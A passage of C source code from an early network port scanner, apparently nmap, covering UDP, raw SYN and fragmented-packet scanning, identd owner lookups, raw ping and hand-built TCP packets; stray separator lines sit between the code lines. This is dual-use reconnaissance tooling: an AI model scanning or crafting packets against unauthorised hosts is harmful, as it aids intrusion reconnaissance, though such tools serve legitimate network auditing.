service = getservbyport(htons(current->portno), protocol);
|
|||
|
printf("%-13d%-11s%-16s%s\n", current->portno, protocol,
|
|||
|
(service)? service->s_name: "unknown",
|
|||
|
(current->owner)? current->owner : "");
|
|||
|
tmp = current;
|
|||
|
current = current->next;
|
|||
|
if (tmp->owner) free(tmp->owner);
|
|||
|
free(tmp);
|
|||
|
}
|
|||
|
printf("\n");
|
|||
|
}
|
|||
|
|
|||
|
/* This is the version of udp_scan that uses raw ICMP sockets and requires
|
|||
|
root priviliges.*/
|
|||
|
portlist udp_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
portlist *ports) {
|
|||
|
int icmpsock, udpsock, tmp, done=0, retries, bytes = 0, res, num_out = 0;
|
|||
|
int i=0,j=0, k=0, icmperrlimittime, max_tries = UDP_MAX_PORT_RETRIES;
|
|||
|
unsigned short outports[max_parallel_sockets], numtries[max_parallel_sockets];
|
|||
|
struct sockaddr_in her;
|
|||
|
char senddata[] = "blah\n";
|
|||
|
unsigned long starttime, sleeptime;
|
|||
|
struct timeval shortwait = {1, 0 };
|
|||
|
fd_set fds_read, fds_write;
|
|||
|
|
|||
|
bzero(outports, max_parallel_sockets * sizeof(unsigned short));
|
|||
|
bzero(numtries, max_parallel_sockets * sizeof(unsigned short));
|
|||
|
|
|||
|
/* Some systems (like linux) follow the advice of rfc1812 and limit
|
|||
|
* the rate at which they will respons with icmp error messages
|
|||
|
* (like port unreachable). icmperrlimittime is to compensate for that.
|
|||
|
*/
|
|||
|
icmperrlimittime = 60000;
|
|||
|
|
|||
|
sleeptime = (global_delay)? global_delay : (global_rtt)? (1.2 * global_rtt) + 30000 : 1e5;
|
|||
|
if (global_delay) icmperrlimittime = global_delay;
|
|||
|
|
|||
|
starttime = time(NULL);
|
|||
|
|
|||
|
FD_ZERO(&fds_read);
|
|||
|
FD_ZERO(&fds_write);
|
|||
|
|
|||
|
if (verbose || debugging)
|
|||
|
printf("Initiating UDP (raw ICMP version) scan against %s (%s) using wait delay of %li usecs.\n", current_name, inet_ntoa(target), sleeptime);
|
|||
|
|
|||
|
if ((icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
|
|||
|
perror("Opening ICMP RAW socket");
|
|||
|
if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
|
|||
|
perror("Opening datagram socket");
|
|||
|
|
|||
|
unblock_socket(icmpsock);
|
|||
|
her.sin_addr = target;
|
|||
|
her.sin_family = AF_INET;
|
|||
|
|
|||
|
while(!done) {
|
|||
|
tmp = num_out;
|
|||
|
for(i=0; (i < max_parallel_sockets && portarray[j]) || i < tmp; i++) {
|
|||
|
close(udpsock);
|
|||
|
if ((udpsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
|
|||
|
perror("Opening datagram socket");
|
|||
|
if ((i > tmp && portarray[j]) || numtries[i] > 1) {
|
|||
|
if (i > tmp) her.sin_port = htons(portarray[j++]);
|
|||
|
else her.sin_port = htons(outports[i]);
|
|||
|
FD_SET(udpsock, &fds_write);
|
|||
|
FD_SET(icmpsock, &fds_read);
|
|||
|
shortwait.tv_sec = 1; shortwait.tv_usec = 0;
|
|||
|
usleep(icmperrlimittime);
|
|||
|
res = select(udpsock + 1, NULL, &fds_write, NULL, &shortwait);
|
|||
|
if (FD_ISSET(udpsock, &fds_write))
|
|||
|
bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
|
|||
|
(struct sockaddr *) &her, sizeof(struct sockaddr_in));
|
|||
|
else {
|
|||
|
printf("udpsock not set for writing port %d!", ntohs(her.sin_port));
|
|||
|
return *ports;
|
|||
|
}
|
|||
|
if (bytes <= 0) {
|
|||
|
if (errno == ECONNREFUSED) {
|
|||
|
retries = 10;
|
|||
|
do {
|
|||
|
/* This is from when I was using the same socket and would
|
|||
|
* (rather often) get strange connection refused errors, it
|
|||
|
* shouldn't happen now that I create a new udp socket for each
|
|||
|
* port. At some point I will probably go back to 1 socket again.
|
|||
|
*/
|
|||
|
printf("sendto said connection refused on port %d but trying again anyway.\n", ntohs(her.sin_port));
|
|||
|
usleep(icmperrlimittime);
|
|||
|
bytes = sendto(udpsock, senddata, sizeof(senddata), 0,
|
|||
|
(struct sockaddr *) &her, sizeof(struct sockaddr_in));
|
|||
|
printf("This time it returned %d\n", bytes);
|
|||
|
} while(bytes <= 0 && retries-- > 0);
|
|||
|
}
|
|||
|
if (bytes <= 0) {
|
|||
|
printf("sendto returned %d.", bytes);
|
|||
|
fflush(stdout);
|
|||
|
perror("sendto");
|
|||
|
}
|
|||
|
}
|
|||
|
if (bytes > 0 && i > tmp) {
|
|||
|
num_out++;
|
|||
|
outports[i] = portarray[j-1];
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
usleep(sleeptime);
|
|||
|
tmp = listen_icmp(icmpsock, outports, numtries, &num_out, target, ports);
|
|||
|
if (debugging) printf("listen_icmp caught %d bad ports.\n", tmp);
|
|||
|
done = !portarray[j];
|
|||
|
for (i=0,k=0; i < max_parallel_sockets; i++)
|
|||
|
if (outports[i]) {
|
|||
|
if (++numtries[i] > max_tries - 1) {
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Adding port %d for 0 unreachable port generations\n",
|
|||
|
outports[i]);
|
|||
|
addport(ports, outports[i], IPPROTO_UDP, NULL);
|
|||
|
num_out--;
|
|||
|
outports[i] = numtries[i] = 0;
|
|||
|
}
|
|||
|
else {
|
|||
|
done = 0;
|
|||
|
outports[k] = outports[i];
|
|||
|
numtries[k] = numtries[i];
|
|||
|
if (k != i)
|
|||
|
outports[i] = numtries[i] = 0;
|
|||
|
k++;
|
|||
|
}
|
|||
|
}
|
|||
|
if (num_out == max_parallel_sockets) {
|
|||
|
printf("Numout is max sockets, that is a problem!\n");
|
|||
|
sleep(1); /* Give some time for responses to trickle back,
|
|||
|
and possibly to reset the hosts ICMP error limit */
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
if (debugging || verbose)
|
|||
|
printf("The UDP raw ICMP scanned %d ports in %ld seconds with %d parallel sockets.\n", number_of_ports, time(NULL) - starttime, max_parallel_sockets);
|
|||
|
close(icmpsock);
|
|||
|
close(udpsock);
|
|||
|
return *ports;
|
|||
|
}
|
|||
|
|
|||
|
int listen_icmp(int icmpsock, unsigned short outports[],
|
|||
|
unsigned short numtries[], int *num_out, struct in_addr target,
|
|||
|
portlist *ports) {
|
|||
|
char response[1024];
|
|||
|
struct sockaddr_in stranger;
|
|||
|
int sockaddr_in_size = sizeof(struct sockaddr_in);
|
|||
|
struct in_addr bs;
|
|||
|
struct iphdr *ip = (struct iphdr *) response;
|
|||
|
struct icmphdr *icmp = (struct icmphdr *) (response + sizeof(struct iphdr));
|
|||
|
struct iphdr *ip2;
|
|||
|
unsigned short *data;
|
|||
|
int badport, numcaught=0, bytes, i, tmptry=0, found=0;
|
|||
|
|
|||
|
while ((bytes = recvfrom(icmpsock, response, 1024, 0,
|
|||
|
(struct sockaddr *) &stranger,
|
|||
|
&sockaddr_in_size)) > 0) {
|
|||
|
numcaught++;
|
|||
|
bs.s_addr = ip->saddr;
|
|||
|
if (ip->saddr == target.s_addr && ip->protocol == IPPROTO_ICMP
|
|||
|
&& icmp->type == 3 && icmp->code == 3) {
|
|||
|
ip2 = (struct iphdr *) (response + 4 * ip->ihl + sizeof(struct icmphdr));
|
|||
|
data = (unsigned short *) ((char *)ip2 + 4 * ip2->ihl);
|
|||
|
badport = ntohs(data[1]);
|
|||
|
/*delete it from our outports array */
|
|||
|
found = 0;
|
|||
|
for(i=0; i < max_parallel_sockets; i++)
|
|||
|
if (outports[i] == badport) {
|
|||
|
found = 1;
|
|||
|
tmptry = numtries[i];
|
|||
|
outports[i] = numtries[i] = 0;
|
|||
|
(*num_out)--;
|
|||
|
break;
|
|||
|
}
|
|||
|
if (debugging && found && tmptry > 0)
|
|||
|
printf("Badport: %d on try number %d\n", badport, tmptry);
|
|||
|
if (!found) {
|
|||
|
if (debugging)
|
|||
|
printf("Badport %d came in late, deleting from portlist.\n", badport);
|
|||
|
if (deleteport(ports, badport, IPPROTO_UDP) < 0)
|
|||
|
if (debugging) printf("Port deletion failed.\n");
|
|||
|
}
|
|||
|
}
|
|||
|
else {
|
|||
|
printf("Funked up packet!\n");
|
|||
|
}
|
|||
|
}
|
|||
|
return numcaught;
|
|||
|
}
|
|||
|
|
|||
|
/* This fucntion is nonsens. I wrote it all, really optimized etc. Then
|
|||
|
found out that many hosts limit the rate at which they send icmp errors :(
|
|||
|
I will probably totally rewrite it to be much simpler at some point. For
|
|||
|
now I won't worry about it since it isn't a very important functions (UDP
|
|||
|
is lame, plus there is already a much better function for people who
|
|||
|
are r00t */
|
|||
|
portlist lamer_udp_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
portlist *ports) {
|
|||
|
int sockaddr_in_size = sizeof(struct sockaddr_in),i=0,j=0,k=0, bytes;
|
|||
|
int sockets[max_parallel_sockets], trynum[max_parallel_sockets];
|
|||
|
unsigned short portno[max_parallel_sockets];
|
|||
|
int last_open = 0;
|
|||
|
char response[1024];
|
|||
|
struct sockaddr_in her, stranger;
|
|||
|
char data[] = "\nhelp\nquit\n";
|
|||
|
unsigned long sleeptime;
|
|||
|
unsigned int starttime;
|
|||
|
|
|||
|
/* Initialize our target sockaddr_in */
|
|||
|
bzero((char *) &her, sizeof(struct sockaddr_in));
|
|||
|
her.sin_family = AF_INET;
|
|||
|
her.sin_addr = target;
|
|||
|
|
|||
|
if (global_delay) sleeptime = global_delay;
|
|||
|
else sleeptime = calculate_sleep(target) + 60000; /*large to be on the
|
|||
|
safe side */
|
|||
|
|
|||
|
if (verbose || debugging)
|
|||
|
printf("Initiating UDP scan against %s (%s), sleeptime: %li\n", current_name,
|
|||
|
inet_ntoa(target), sleeptime);
|
|||
|
|
|||
|
starttime = time(NULL);
|
|||
|
|
|||
|
for(i = 0 ; i < max_parallel_sockets; i++)
|
|||
|
trynum[i] = portno[i] = 0;
|
|||
|
|
|||
|
while(portarray[j]) {
|
|||
|
for(i=0; i < max_parallel_sockets && portarray[j]; i++, j++) {
|
|||
|
if (i >= last_open) {
|
|||
|
if ((sockets[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
|
|||
|
{perror("datagram socket troubles"); exit(1);}
|
|||
|
block_socket(sockets[i]);
|
|||
|
portno[i] = portarray[j];
|
|||
|
}
|
|||
|
her.sin_port = htons(portarray[j]);
|
|||
|
bytes = sendto(sockets[i], data, sizeof(data), 0, (struct sockaddr *) &her,
|
|||
|
sizeof(struct sockaddr_in));
|
|||
|
usleep(5000);
|
|||
|
if (debugging > 1)
|
|||
|
printf("Sent %d bytes on socket %d to port %hi, try number %d.\n",
|
|||
|
bytes, sockets[i], portno[i], trynum[i]);
|
|||
|
if (bytes < 0 ) {
|
|||
|
printf("Sendto returned %d the FIRST TIME!@#$!, errno %d\n", bytes,
|
|||
|
errno);
|
|||
|
perror("");
|
|||
|
trynum[i] = portno[i] = 0;
|
|||
|
close(sockets[i]);
|
|||
|
}
|
|||
|
}
|
|||
|
last_open = i;
|
|||
|
/* Might need to change this to 1e6 if you are having problems*/
|
|||
|
usleep(sleeptime + 5e5);
|
|||
|
for(i=0; i < last_open ; i++) {
|
|||
|
if (portno[i]) {
|
|||
|
unblock_socket(sockets[i]);
|
|||
|
if ((bytes = recvfrom(sockets[i], response, 1024, 0,
|
|||
|
(struct sockaddr *) &stranger,
|
|||
|
&sockaddr_in_size)) == -1)
|
|||
|
{
|
|||
|
if (debugging > 1)
|
|||
|
printf("2nd recvfrom on port %d returned %d with errno %d.\n",
|
|||
|
portno[i], bytes, errno);
|
|||
|
if (errno == EAGAIN /*11*/)
|
|||
|
{
|
|||
|
if (trynum[i] < 2) trynum[i]++;
|
|||
|
else {
|
|||
|
if (RISKY_UDP_SCAN) {
|
|||
|
printf("Adding port %d after 3 EAGAIN errors.\n", portno[i]);
|
|||
|
addport(ports, portno[i], IPPROTO_UDP, NULL);
|
|||
|
}
|
|||
|
else if (debugging)
|
|||
|
printf("Skipping possible false positive, port %d\n",
|
|||
|
portno[i]);
|
|||
|
trynum[i] = portno[i] = 0;
|
|||
|
close(sockets[i]);
|
|||
|
}
|
|||
|
}
|
|||
|
else if (errno == ECONNREFUSED /*111*/) {
|
|||
|
if (debugging > 1)
|
|||
|
printf("Closing socket for port %d, ECONNREFUSED received.\n",
|
|||
|
portno[i]);
|
|||
|
trynum[i] = portno[i] = 0;
|
|||
|
close(sockets[i]);
|
|||
|
}
|
|||
|
else {
|
|||
|
printf("Curious recvfrom error (%d) on port %hi: ",
|
|||
|
errno, portno[i]);
|
|||
|
perror("");
|
|||
|
trynum[i] = portno[i] = 0;
|
|||
|
close(sockets[i]);
|
|||
|
}
|
|||
|
}
|
|||
|
else /*bytes is positive*/ {
|
|||
|
if (debugging || verbose)
|
|||
|
printf("Adding UDP port %d due to positive read!\n", portno[i]);
|
|||
|
addport(ports,portno[i], IPPROTO_UDP, NULL);
|
|||
|
trynum[i] = portno[i] = 0;
|
|||
|
close(sockets[i]);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
/* Update last_open, we need to create new sockets.*/
|
|||
|
for(i=0, k=0; i < last_open; i++)
|
|||
|
if (portno[i]) {
|
|||
|
close(sockets[i]);
|
|||
|
sockets[k] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
|||
|
/* unblock_socket(sockets[k]);*/
|
|||
|
portno[k] = portno[i];
|
|||
|
trynum[k] = trynum[i];
|
|||
|
k++;
|
|||
|
}
|
|||
|
last_open = k;
|
|||
|
for(i=k; i < max_parallel_sockets; i++)
|
|||
|
trynum[i] = sockets[i] = portno[i] = 0;
|
|||
|
}
|
|||
|
if (debugging)
|
|||
|
printf("UDP scanned %d ports in %ld seconds with %d parallel sockets\n",
|
|||
|
number_of_ports, time(NULL) - starttime, max_parallel_sockets);
|
|||
|
return *ports;
|
|||
|
}
|
|||
|
|
|||
|
/* This attempts to calculate the round trip time (rtt) to a host by timing a
|
|||
|
connect() to a port which isn't listening. A better approach is to time a
|
|||
|
ping (since it is more likely to get through firewalls. This is now
|
|||
|
implemented in isup() for users who are root. */
|
|||
|
unsigned long calculate_sleep(struct in_addr target) {
|
|||
|
struct timeval begin, end;
|
|||
|
int sd;
|
|||
|
struct sockaddr_in sock;
|
|||
|
int res;
|
|||
|
|
|||
|
if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
|
|||
|
{perror("Socket troubles"); exit(1);}
|
|||
|
|
|||
|
sock.sin_family = AF_INET;
|
|||
|
sock.sin_addr.s_addr = target.s_addr;
|
|||
|
sock.sin_port = htons(MAGIC_PORT);
|
|||
|
|
|||
|
gettimeofday(&begin, NULL);
|
|||
|
if ((res = connect(sd, (struct sockaddr *) &sock,
|
|||
|
sizeof(struct sockaddr_in))) != -1)
|
|||
|
printf("You might want to change MAGIC_PORT in the include file, it seems to be listening on the target host!\n");
|
|||
|
close(sd);
|
|||
|
gettimeofday(&end, NULL);
|
|||
|
if (end.tv_sec - begin.tv_sec > 5 ) /*uh-oh!*/
|
|||
|
return 0;
|
|||
|
return (end.tv_sec - begin.tv_sec) * 1000000 + (end.tv_usec - begin.tv_usec);
|
|||
|
}
|
|||
|
|
|||
|
/* Checks whether the identd port (113) is open on the target machine. No
|
|||
|
sense wasting time trying it for each good port if it is down! */
|
|||
|
int check_ident_port(struct in_addr target) {
|
|||
|
int sd;
|
|||
|
struct sockaddr_in sock;
|
|||
|
int res;
|
|||
|
|
|||
|
if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
|
|||
|
{perror("Socket troubles"); exit(1);}
|
|||
|
|
|||
|
sock.sin_family = AF_INET;
|
|||
|
sock.sin_addr.s_addr = target.s_addr;
|
|||
|
sock.sin_port = htons(113); /*should use getservbyname(3), yeah, yeah */
|
|||
|
res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
|
|||
|
close(sd);
|
|||
|
if (res < 0 ) {
|
|||
|
if (debugging || verbose) printf("identd port not active\n");
|
|||
|
return 0;
|
|||
|
}
|
|||
|
if (debugging || verbose) printf("identd port is active\n");
|
|||
|
return 1;
|
|||
|
}
|
|||
|
|
|||
|
int getidentinfoz(struct in_addr target, int localport, int remoteport,
|
|||
|
char *owner) {
|
|||
|
int sd;
|
|||
|
struct sockaddr_in sock;
|
|||
|
int res;
|
|||
|
char request[15];
|
|||
|
char response[1024];
|
|||
|
char *p,*q;
|
|||
|
char *os;
|
|||
|
|
|||
|
owner[0] = '\0';
|
|||
|
if ((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
|
|||
|
{perror("Socket troubles"); exit(1);}
|
|||
|
|
|||
|
sock.sin_family = AF_INET;
|
|||
|
sock.sin_addr.s_addr = target.s_addr;
|
|||
|
sock.sin_port = htons(113);
|
|||
|
usleep(50000); /* If we aren't careful, we really MIGHT take out inetd,
|
|||
|
some are very fragile */
|
|||
|
res = connect(sd, (struct sockaddr *) &sock, sizeof(struct sockaddr_in));
|
|||
|
|
|||
|
if (res < 0 ) {
|
|||
|
if (debugging || verbose)
|
|||
|
printf("identd port not active now for some reason ... hope we didn't break it!\n");
|
|||
|
close(sd);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
sprintf(request,"%hi,%hi\r\n", remoteport, localport);
|
|||
|
if (debugging > 1) printf("Connected to identd, sending request: %s", request);
|
|||
|
if (write(sd, request, strlen(request) + 1) == -1) {
|
|||
|
perror("identd write");
|
|||
|
close(sd);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
else if ((res = read(sd, response, 1024)) == -1) {
|
|||
|
perror("reading from identd");
|
|||
|
close(sd);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
else {
|
|||
|
close(sd);
|
|||
|
if (debugging > 1) printf("Read %d bytes from identd: %s\n", res, response);
|
|||
|
if ((p = strchr(response, ':'))) {
|
|||
|
p++;
|
|||
|
if ((q = strtok(p, " :"))) {
|
|||
|
if (!strcasecmp( q, "error")) {
|
|||
|
if (debugging || verbose) printf("ERROR returned from identd\n");
|
|||
|
return 0;
|
|||
|
}
|
|||
|
if ((os = strtok(NULL, " :"))) {
|
|||
|
if ((p = strtok(NULL, " :"))) {
|
|||
|
if ((q = strchr(p, '\r'))) *q = '\0';
|
|||
|
if ((q = strchr(p, '\n'))) *q = '\0';
|
|||
|
strncpy(owner, p, 512);
|
|||
|
owner[512] = '\0';
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
return 1;
|
|||
|
}
|
|||
|
|
|||
|
/* A relatively fast (or at least short ;) ping function. Doesn't require a
|
|||
|
seperate checksum function */
|
|||
|
int isup(struct in_addr target) {
|
|||
|
int res, retries = 3;
|
|||
|
struct sockaddr_in sock;
|
|||
|
/*type(8bit)=8, code(8)=0 (echo REQUEST), checksum(16)=34190, id(16)=31337 */
|
|||
|
#ifdef __LITTLE_ENDIAN_BITFIELD
|
|||
|
unsigned char ping[64] = { 0x8, 0x0, 0x8e, 0x85, 0x69, 0x7A };
|
|||
|
#else
|
|||
|
unsigned char ping[64] = { 0x8, 0x0, 0x85, 0x8e, 0x7A, 0x69 };
|
|||
|
#endif
|
|||
|
int sd;
|
|||
|
struct timeval tv;
|
|||
|
struct timeval start, end;
|
|||
|
fd_set fd_read;
|
|||
|
struct {
|
|||
|
struct iphdr ip;
|
|||
|
unsigned char type;
|
|||
|
unsigned char code;
|
|||
|
unsigned short checksum;
|
|||
|
unsigned short identifier;
|
|||
|
char crap[16536];
|
|||
|
} response;
|
|||
|
|
|||
|
sd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
|
|||
|
|
|||
|
bzero((char *)&sock,sizeof(struct sockaddr_in));
|
|||
|
sock.sin_family=AF_INET;
|
|||
|
sock.sin_addr = target;
|
|||
|
if (debugging > 1) printf(" Sending 3 64 byte raw pings to host.\n");
|
|||
|
gettimeofday(&start, NULL);
|
|||
|
while(--retries) {
|
|||
|
if ((res = sendto(sd,(char *) ping,64,0,(struct sockaddr *)&sock,
|
|||
|
sizeof(struct sockaddr))) != 64) {
|
|||
|
fprintf(stderr, "sendto in isup returned %d! skipping host.\n", res);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
FD_ZERO(&fd_read);
|
|||
|
FD_SET(sd, &fd_read);
|
|||
|
tv.tv_sec = 0;
|
|||
|
tv.tv_usec = 1e6 * (PING_TIMEOUT / 3.0);
|
|||
|
while(1) {
|
|||
|
if ((res = select(sd + 1, &fd_read, NULL, NULL, &tv)) != 1)
|
|||
|
break;
|
|||
|
else {
|
|||
|
read(sd,&response,sizeof(response));
|
|||
|
if (response.ip.saddr == target.s_addr && !response.type
|
|||
|
&& !response.code && response.identifier == 31337) {
|
|||
|
gettimeofday(&end, NULL);
|
|||
|
global_rtt = (end.tv_sec - start.tv_sec) * 1e6 + end.tv_usec - start.tv_usec;
|
|||
|
ouraddr.s_addr = response.ip.daddr;
|
|||
|
close(sd);
|
|||
|
return 1;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
close(sd);
|
|||
|
return 0;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
portlist syn_scan(struct in_addr target, unsigned short *portarray,
|
|||
|
struct in_addr *source, int fragment, portlist *ports) {
|
|||
|
int i=0, j=0, received, bytes, starttime;
|
|||
|
struct sockaddr_in from;
|
|||
|
int fromsize = sizeof(struct sockaddr_in);
|
|||
|
int sockets[max_parallel_sockets];
|
|||
|
struct timeval tv;
|
|||
|
char packet[65535];
|
|||
|
struct iphdr *ip = (struct iphdr *) packet;
|
|||
|
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
|
|||
|
fd_set fd_read, fd_write;
|
|||
|
int res;
|
|||
|
struct hostent *myhostent;
|
|||
|
char myname[MAXHOSTNAMELEN + 1];
|
|||
|
int source_malloc = 0;
|
|||
|
|
|||
|
FD_ZERO(&fd_read);
|
|||
|
FD_ZERO(&fd_write);
|
|||
|
|
|||
|
tv.tv_sec = 7;
|
|||
|
tv.tv_usec = 0;
|
|||
|
|
|||
|
if ((received = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0 )
|
|||
|
perror("socket trobles in syn_scan");
|
|||
|
unblock_socket(received);
|
|||
|
FD_SET(received, &fd_read);
|
|||
|
|
|||
|
/* First we take what is given to us as source. If that isn't valid, we take
|
|||
|
what should have swiped from the echo reply in our ping function. If THAT
|
|||
|
doesn't work either, we try to determine our address with gethostname and
|
|||
|
gethostbyname. Whew! */
|
|||
|
if (!source) {
|
|||
|
if (ouraddr.s_addr) {
|
|||
|
source = &ouraddr;
|
|||
|
}
|
|||
|
else {
|
|||
|
source = safe_malloc(sizeof(struct in_addr));
|
|||
|
source_malloc = 1;
|
|||
|
if (gethostname(myname, MAXHOSTNAMELEN) ||
|
|||
|
!(myhostent = gethostbyname(myname)))
|
|||
|
fatal("Your system is fucked up.\n");
|
|||
|
memcpy(source, myhostent->h_addr_list[0], sizeof(struct in_addr));
|
|||
|
}
|
|||
|
if (debugging)
|
|||
|
printf("We skillfully deduced that your address is %s\n",
|
|||
|
inet_ntoa(*source));
|
|||
|
}
|
|||
|
|
|||
|
starttime = time(NULL);
|
|||
|
|
|||
|
do {
|
|||
|
for(i=0; i < max_parallel_sockets && portarray[j]; i++) {
|
|||
|
if ((sockets[i] = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 )
|
|||
|
perror("socket trobles in syn_scan");
|
|||
|
else {
|
|||
|
if (fragment)
|
|||
|
send_small_fragz(sockets[i], source, &target, MAGIC_PORT,
|
|||
|
portarray[j++], TH_SYN);
|
|||
|
else send_tcp_raw(sockets[i], source , &target, MAGIC_PORT,
|
|||
|
portarray[j++],0,0,TH_SYN,0,0,0);
|
|||
|
usleep(10000);
|
|||
|
}
|
|||
|
}
|
|||
|
if ((res = select(received + 1, &fd_read, NULL, NULL, &tv)) < 0)
|
|||
|
perror("select problems in syn_scan");
|
|||
|
else if (res > 0) {
|
|||
|
while ((bytes = recvfrom(received, packet, 65535, 0,
|
|||
|
(struct sockaddr *)&from, &fromsize)) > 0 ) {
|
|||
|
if (ip->saddr == target.s_addr) {
|
|||
|
if (tcp->th_flags & TH_RST) {
|
|||
|
if (debugging > 1) printf("Nothing open on port %d\n",
|
|||
|
ntohs(tcp->th_sport));
|
|||
|
}
|
|||
|
else /*if (tcp->th_flags & TH_SYN && tcp->th_flags & TH_ACK)*/ {
|
|||
|
if (debugging || verbose) {
|
|||
|
printf("Possible catch on port %d! Here it is:\n",
|
|||
|
ntohs(tcp->th_sport));
|
|||
|
readtcppacket(packet,1);
|
|||
|
}
|
|||
|
addport(ports, ntohs(tcp->th_sport), IPPROTO_TCP, NULL);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
for(i=0; i < max_parallel_sockets && portarray[j]; i++) close(sockets[i]);
|
|||
|
|
|||
|
} while (portarray[j]);
|
|||
|
if (debugging || verbose)
|
|||
|
printf("The TCP SYN scan took %ld seconds to scan %d ports.\n",
|
|||
|
time(NULL) - starttime, number_of_ports);
|
|||
|
if (source_malloc) free(source); /* Gotta save those 4 bytes! ;) */
|
|||
|
close(received);
|
|||
|
return *ports;
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
int send_tcp_raw( int sd, struct in_addr *source,
|
|||
|
struct in_addr *victim, unsigned short sport,
|
|||
|
unsigned short dport, unsigned long seq,
|
|||
|
unsigned long ack, unsigned char flags,
|
|||
|
unsigned short window, char *data,
|
|||
|
unsigned short datalen)
|
|||
|
{
|
|||
|
|
|||
|
struct pseudo_header {
|
|||
|
/*for computing TCP checksum, see TCP/IP Illustrated p. 145 */
|
|||
|
unsigned long s_addr;
|
|||
|
unsigned long d_addr;
|
|||
|
char zer0;
|
|||
|
unsigned char protocol;
|
|||
|
unsigned short length;
|
|||
|
};
|
|||
|
char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen];
|
|||
|
/*With these placement we get data and some field alignment so we aren't
|
|||
|
wasting too much in computing the checksum */
|
|||
|
struct iphdr *ip = (struct iphdr *) packet;
|
|||
|
struct tcphdr *tcp = (struct tcphdr *) (packet + sizeof(struct iphdr));
|
|||
|
struct pseudo_header *pseudo = (struct pseudo_header *) (packet + sizeof(struct iphdr) - sizeof(struct pseudo_header));
|
|||
|
int res;
|
|||
|
struct sockaddr_in sock;
|
|||
|
char myname[MAXHOSTNAMELEN + 1];
|
|||
|
struct hostent *myhostent;
|
|||
|
int source_malloced = 0;
|
|||
|
|
|||
|
/* check that required fields are there and not too silly */
|
|||
|
if ( !victim || !sport || !dport || sd < 0) {
|
|||
|
fprintf(stderr, "send_tcp_raw: One or more of your parameters suck!\n");
|
|||
|
return -1;
|
|||
|
}
|
|||
|
|
|||
|
/* if they didn't give a source address, fill in our first address */
|
|||
|
if (!source) {
|
|||
|
source_malloced = 1;
|
|||
|
source = safe_malloc(sizeof(struct in_addr));
|
|||
|
if (gethostname(myname, MAXHOSTNAMELEN) ||
|
|||
|
!(myhostent = gethostbyname(myname)))
|
|||
|
fatal("Your system is fucked up.\n");
|
|||
|
memcpy(source, myhostent->h_addr_list[0], sizeof(struct in_addr));
|
|||
|
if (debugging > 1)
|
|||
|
printf("We skillfully deduced that your address is %s\n",
|
|||
|
inet_ntoa(*source));
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*do we even have to fill out this damn thing? This is a raw packet,
|
|||
|
after all */
|
|||
|
sock.sin_family = AF_INET;
|
|||
|
sock.sin_port = htons(dport);
|
|||
|
sock.sin_addr.s_addr = victim->s_addr;
|
|||
|
|
|||
|
bzero(packet, sizeof(struct iphdr) + sizeof(struct tcphdr));
|
|||
|
|
|||
|
pseudo->s_addr = source->s_addr;
|
|||
|
pseudo->d_addr = victim->s_addr;
|
|||
|
pseudo->protocol = IPPROTO_TCP;
|
|||
|
pseudo->length = htons(sizeof(struct tcphdr) + datalen);
|
|||
|
|
|||
|
tcp->th_sport = htons(sport);
|
|||
|
tcp->th_dport = htons(dport);
|
|||
|
if (seq)
|
|||
|
tcp->th_seq = htonl(seq);
|
|||
|
else tcp->th_seq = rand() + rand();
|
|||
|
|
|||
|
if (flags & TH_ACK && ack)
|
|||
|
tcp->th_ack = htonl(seq);
|
|||
|
else if (flags & TH_ACK)
|
|||
|
tcp->th_ack = rand() + rand();
|
|||
|
|
|||
|
tcp->th_off = 5 /*words*/;
|
|||
|
tcp->th_flags = flags;
|
|||
|
|
|||
|
if (window)
|
|||
|
tcp->th_win = window;
|
|||
|
else tcp->th_win = htons(2048); /* Who cares */
|
|||
|
|
|||
|
tcp->th_sum = in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr) +
|
|||
|
sizeof(struct pseudo_header) + datalen);
|
|||
|
|
|||
|
/* Now for the ip header */
|
|||
|
bzero(packet, sizeof(struct iphdr));
|
|||
|
ip->version = 4;
|
|||
|
ip->ihl = 5;
|
|||
|
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen);
|
|||
|
ip->id = rand();
|
|||
|
ip->ttl = 255;
|
|||
|
ip->protocol = IPPROTO_TCP;
|
|||
|
ip->saddr = source->s_addr;
|
|||
|
ip->daddr = victim->s_addr;
|
|||
|
ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
|
|||
|
|
|||
|
if (debugging > 1) {
|
|||
|
printf("Raw TCP packet creation completed! Here it is:\n");
|
|||
|
readtcppacket(packet,ntohs(ip->tot_len));
|
|||
|
}
|
|||
|
if (debugging > 1)
|
